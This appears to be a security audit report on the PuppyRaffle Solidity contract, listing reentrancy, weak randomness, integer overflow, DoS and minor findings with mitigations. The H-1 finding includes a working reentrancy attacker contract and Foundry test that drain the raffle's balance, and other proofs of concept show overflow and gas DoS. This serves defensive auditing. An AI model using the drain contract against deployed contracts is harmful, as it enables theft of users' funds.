Puppy Raffle Security Review

Prepared by: Vaibhav Sutar

Table of Contents

Disclaimer

The **Vaibhav Sutar** audit team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

Severity	Description
High	Bugs leading to assets theft, fund access locking, or any other loss of funds to be transferred to any party.
Medium	Bugs that can break the intended contract logic or expose it to DoS attacks, but do not cause direct loss of funds.
Low	Low impact and low/medium likelihood events where assets are not at risk.
Informational	Bugs that do not have a significant immediate impact and could be easily fixed.

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Audit Details

The findings described in this document correspond the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src
-- PuppyRaffle.sol
```

Roles

- **Owner:** The only one who can change the feeAddress, denominated by the _owner variable.
- **Fee User:** The user who takes a cut of raffle entrance fees. Denominated by the feeAddress variable.
- **Raffle Entrant:** Anyone who enters the raffle. Denominated by being in the players array.

Executive Summary

Issues found

Severity	Findings
High	3
Medium	3
Low	1
Informational	7
Gas Optimization	2
Total	**16**

Tools Used

- Slither
- Aderyn
- cloc
- Solidity Metrics (audit estimation)
- Solidity Visual Developer

Findings

High

[H-1]: Reentrancy Attack in PuppyRaffle::refund Allows Entrant to Drain Raffle Balance.

Description:
The PuppyRaffle::refund function does not follow the CEI (Checks, Effects, Interaction) pattern, which enables participants to drain the contract balance.

In the PuppyRaffle::refund function, we first make an external call to the msg.sender address, and only after making that external call do we update the PuppyRaffle::players array.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded or is no

    payable(msg.sender).sendValue(entranceFee);
    players[playerIndex] = address(0);

    emit RaffleRefunded(playerAddress);
}
```

A player who has entered the raffle could have a fallback/receive function that calls the PuppyRaffle::refund function again and claims another refund. They could continue this cycle until the contract balance is drained.

Impact:
All fees paid by raffle entrants could be stolen by malicious participants.

Proof of Concept:

1. User enters the raffle.
2. Attacker sets up a contract with a fallback function that calls PuppyRaffle::refund.
3. Attacker enters the raffle.
4. Attacker calls PuppyRaffle::refund from their attack contract, draining the contract balance.

▶ Proof of Code

Place the following into PuppyRaffleTest.t.sol.

```
function test_reentrancyRefund() public {
    // Users entering raffle
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    // Create attack contract and user
    ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
    address attacker = makeAddr("attacker");
    vm.deal(attacker, 1 ether);

    // Noting starting balances
    uint256 startingAttackContractBalance = address(attackerContract).balance;
    uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;

    // Attack
    vm.prank(attacker);
    attackerContract.attack{value: entranceFee}();

    // Impact
    console.log("attackerContract balance: ", startingAttackContractBalance);
    console.log("puppyRaffle balance: ", startingPuppyRaffleBalance);
    console.log("ending attackerContract balance: ", address(attackerContract).balance
    console.log("ending puppyRaffle balance: ", address(puppyRaffle).balance);
}
```

And this contract as well.

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() public payable {
```

```
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation:

To prevent this, we should have the PuppyRaffle::refund function update the PuppyRaffle::players array before making the external call. Additionally, we should move the event emission as well.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded or is no

+   players[playerIndex] = address(0);
+   emit RaffleRefunded(playerAddress);
    payable(msg.sender).sendValue(entranceFee);
    //@audit Reentrancy
-   players[playerIndex] = address(0);
-   emit RaffleRefunded(playerAddress);
}
```

[H-2]: Weak randomness in `PuppyRaffle::selectWinner` allows user to influence or predict the winner and influence or predict the winning puppy.

Description:
Hashing `msg.sender`, `block.timestamp`,and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious user can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not winner.

Impact:
Any user can infulence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation:
Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3]: Integer overflow of `PuppyRaffle::totalFees` loses fees

Description:
In Solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact:
In `PuppyRaffle::selectWinner`, `totalFees` is accumulated for the `feeAddress` to collect later

in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept

1. We conclude a raffle with 4 players.
2. Next, we have 89 players enter a new raffle and conclude it.
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will not be able to withdraw due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently
```

▶ Integer Overflow PoC

```
function testTotalFeesOverflow() public playersEntered {
// We finish a raffle with 4 players to collect some fees
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
puppyRaffle.selectWinner();
uint256 startingTotalFees = puppyRaffle.totalFees();

// startingTotalFees = 800000000000000000
// We then have 89 players enter a new raffle
uint256 playersNum = 89;
address[] memory players = new address[](playersNum);
for (uint256 i = 0; i < playersNum; i++) {
    players[i] = address(i);
}
puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);

// We end the raffle
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);

// And here is where the issue occurs
// We will now have fewer fees even though we just finished a second raffle
puppyRaffle.selectWinner();
```

```
uint256 endingTotalFees = puppyRaffle.totalFees();
console.log("ending total fees", endingTotalFees);

assert(endingTotalFees < startingTotalFees);

// We are also unable to withdraw any fees because of the require check
vm.prank(puppyRaffle.feeAddress());
vm.expectRevert("PuppyRaffle: There are currently players active!");

puppyRaffle.withdrawFees();
}
```

Recommended Mitigation:

There are a few recommended mitigations here:

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
-  pragma solidity ^0.7.6;
+  pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

1. Use a `uint256` instead of a `uint64` for `totalFees`.

```
-  uint64 public totalFees = 0;
+  uint256 public totalFees = 0;
    ```
2. Remove the balance check in `PuppyRaffle::withdrawFees`
```diff
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are current
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1]: Potential Denial of Service (DoS) Vulnerability in PuppyRaffle::enterRaffle Due to Looping Through players Array for Duplicate Checks, Leading to Increasing Gas Costs for Subsequent Entrants

Description:
The `PuppyRaffle::enterRaffle` function currently iterates through the `players` array to check for duplicate entries. As the number of players increases, the checks required for each new entrant grow linearly, resulting in significantly higher gas costs for later participants. Each additional address in the `players` array adds another iteration to the loop, which escalates gas consumption.

```
//@audit Potential DoS vulnerability
for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate player");
    }
}
```

Impact:
The rising gas costs can deter users from entering the raffle later, potentially creating a scenario where only early participants are motivated to join. This leads to a rush at the beginning of the raffle, favoring initial entrants. Furthermore, a malicious actor could exploit this vulnerability by filling the PuppyRaffle::players array with numerous addresses, making it prohibitively expensive for others to enter and effectively ensuring their own victory. This situation constitutes a denial-of-service attack.

Proof of Concept:
The following test illustrates the increasing gas costs as more players enter the raffle. In this example, we observe gas consumption for two sets of 100 players entering the raffle:

1st 100 players: ~6,252,047 gas

2nd 100 players: ~18,068,218 gas

The gas cost for the second set of players is more than three times higher than that for the first set.

▶ PoC

```
function test_denialOfService() public {
    vm.txGasPrice(1);

    // Entering 100 players
    uint256 playersNum = 100;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }

    // Measure gas usage
    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    uint256 gasEnd = gasleft();

    uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
    console.log("Gas used for first 100 players: ", gasUsedFirst);

    // Entering another 100 players
    address[] memory playersTwo = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        playersTwo[i] = address(i + playersNum);
    }

    // Measure gas usage
    uint256 gasStartSecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(playersTwo);
    uint256 gasEndSecond = gasleft();

    uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.gasprice;
    console.log("Gas used for second 100 players: ", gasUsedSecond);
}
```

Recommended Mitigation:

1. Allow Duplicates: Consider permitting duplicates since users can create new wallet addresses anyway. A duplicate check does not prevent a single individual from entering multiple times but only restricts the same wallet address.

2. Use a Mapping for Duplicates: Implement a mapping to check for duplicates, allowing constant time checks rather than linear time. Each raffle could have a unique uint256 ID, with a mapping linking player addresses to raffle IDs.

```
```

```
+ mapping(address => uint256) public addressToRaffleId;
+ uint256 public raffleId = 0;
...
function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enou

    for (uint256 i = 0; i < newPlayers.length; i++) {
        players.push(newPlayers[i]);
+       addressToRaffleId[newPlayers[i]] = raffleId;
    }

-   // Check for duplicates
+   // Check for duplicates only from new players
+   for (uint256 i = 0; i < newPlayers.length; i++) {
+       require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate p
+   }
-   for (uint256 i = 0; i < players.length; i++) {
-       for (uint256 j = i + 1; j < players.length; j++) {
-           require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-       }
-   }

    emit RaffleEnter(newPlayers);
}
...
function selectWinner() external {
+   raffleId++;
   require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle no
}
```

[M-2]: Unsafe Cast of PuppyRaffle::fee Results in Loss of Fees

Description:

In the PuppyRaffle::selectWinner function, a type cast from uint256 to uint64 occurs. This is an unsafe cast because if the uint256 value exceeds type(uint64).max, the value will be truncated, leading to a loss of precision.

```
function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raf
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.time
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
```

```
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }

```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact:
This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle takes place, resulting in slightly more than 18 ETH worth of fees being collected.
2. The line casting fee as a uint64 is executed.
3. totalFees is incorrectly updated with a lower, truncated amount.

You can replicate this in Foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0

```

Recommended Mitigation:
Change the type of `PuppyRaffle::totalFees` from `uint64` to `uint256` and remove the casting. While there's a comment indicating:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
```

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raf
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.diff
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3]: Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description:

The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact:

The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

Low

[L-1]: `PuppyRaffle::getActivePlayerIndex` Returns 0 for Non-Existent Players and for Players at Index 0

Description:
If a player exists in the PuppyRaffle::players array at index 0, the function will return 0. However, according to the Natspec documentation, it will also return 0 if the player is not present in the array.

```
/// @return The index of the player in the array. If they are not active, it returns 0
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return 0;
}
```

Impact:
A player at index 0 may mistakenly believe they have not entered the raffle and may attempt to enter again, resulting in unnecessary gas expenditure.

Proof of Concept:

1. The user enters the raffle as the first entrant.
2. PuppyRaffle::getActivePlayerIndex returns 0.
3. The user assumes they have not entered correctly due to the function's documentation.

Recommended Mitigation:

- A straightforward recommendation would be to revert the transaction if the player is not found in the array instead of returning 0.
- Alternatively, you could reserve the 0th position for specific competition purposes. However, a more effective solution might be to return an int256, where the function returns -1 if the player is not active.

Informational

[I-1]: Use Specific Solidity Pragma Versions

It is advisable to specify a particular version of Solidity in your contracts rather than using a wide version. For instance, instead of writing pragma solidity ^0.8.0;, you should use pragma solidity 0.8.0;.

Instances:

Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;

```

By specifying an exact version, you ensure greater stability and predictability in your contract's behavior, reducing the risk of compatibility issues with future Solidity updates.

[I-2]: Avoid Using Outdated Versions of Solidity

It is not recommended to use outdated versions of Solidity. Please consider upgrading to a newer version, such as 0.8.18.

Description:
The Solidity compiler (solc) frequently releases new versions that include important updates and security checks. Using an older version limits access to these enhancements and may expose your contract to vulnerabilities. Additionally, it is advisable to avoid complex pragma statements.

Recommended Mitigation:

- Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.
- Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.
- please see slither for more information

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

Instances:

- Found in src/PuppyRaffle.sol Line: 66

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 197

```
        feeAddress = newFeeAddress;
```

[I-4]: `PuppyRaffle::selectWinner` does not follow CEI, which is not best practice

It's best to keep coe clean and follow CEI (Checks, Effect, Interactions).

```
-   (bool success,) = winner.call{value: prizePool}("");
-   require(success, "PuppyRaffle: Failed to send prize pool to winner");
       _safeMint(winner, tokenId);
+   (bool success,) = winner.call{value: prizePool}("");
+   require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5]: Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Example:

```
    uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / POOL_PRECISIO
    uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

Insted you could this

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

```
)
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples:

- `PuppyRaffle::totalFees` within the `selectWinner` function
- `PuppyRaffle::raffleStartTime` within the `selectWinner` function
- `PuppyRaffle::totalFees` within the `withdrawFees` function

[I-7] _isActivePlayer is never used and should be removed

Description: The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
(
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
)
```

Gas

[G-1]: Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from constant or immutable varible.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`.
- `PuppyRaffle::commonImageUri` should be `constant`.
- `PuppyRaffle::rareImageUri` should be `constant`.
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2]: Storage variables in loop should be cached.

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficent.

```
+  uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```
